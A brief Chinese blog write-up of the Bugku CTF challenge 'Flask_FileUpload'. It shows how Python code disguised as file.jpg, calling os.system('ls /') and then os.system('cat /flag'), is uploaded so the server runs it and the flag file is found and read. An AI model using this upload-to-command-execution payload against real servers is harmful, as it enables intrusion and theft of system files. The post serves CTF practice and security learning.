技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
李伟_Li慢慢
1 小时前
02-从硬件说起WebGL
前端·three.js
向日的葵006
1 小时前
langchain的Tools教程(三)
python·langchain·tools
kyriewen
2 小时前
看了微软几万人用AI编程的数据——效率涨24%的代价没人提
前端·ai编程·claude
2601_96377137
2 小时前
How to Scale Your WordPress Store Traffic in 2026
前端·php·plugin
亿元程序员
2 小时前
老板说我的3D箭头游戏用来做试玩太普通了,没人想玩,让我变点花样...
前端
言乐6
3 小时前
Python实现可运行解密游戏游戏框架
python·游戏·小程序·游戏程序·关卡设计
李伟_Li慢慢
3 小时前
01-threejs架构原理-课程简介
前端·three.js
YUS云生
3 小时前
Python学习笔记·第31天:FastAPI入门——路由、路径参数、查询参数与请求体
笔记·python·学习
智写-AI
3 小时前
真实有效的免费降英文AI工具服务商
人工智能·python
yuhuofei2021
4 小时前
【Python入门】了解掌握Python中函数的基本使用
python
热门推荐
01GitHub 镜像站点02幻兽帕鲁 - 服务器管理员权限与 GM 命令完全指南03AI科技热点日报 | 2026年07月01日042026年7月AI圈大地震:GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片05GPT-5.5 对比 GPT-5.6 Sol、Terra、Luna:官方性能数据与选型分析062026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?07AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路082026 年 AI 编程工具终极横评:Cursor vs Claude Code vs Copilot vs Windsurf092026 AI 编程工具终极实战指南:Cursor vs Claude Code vs Copilot,开发者该怎么选?10几个好用的ip纯净度检测网站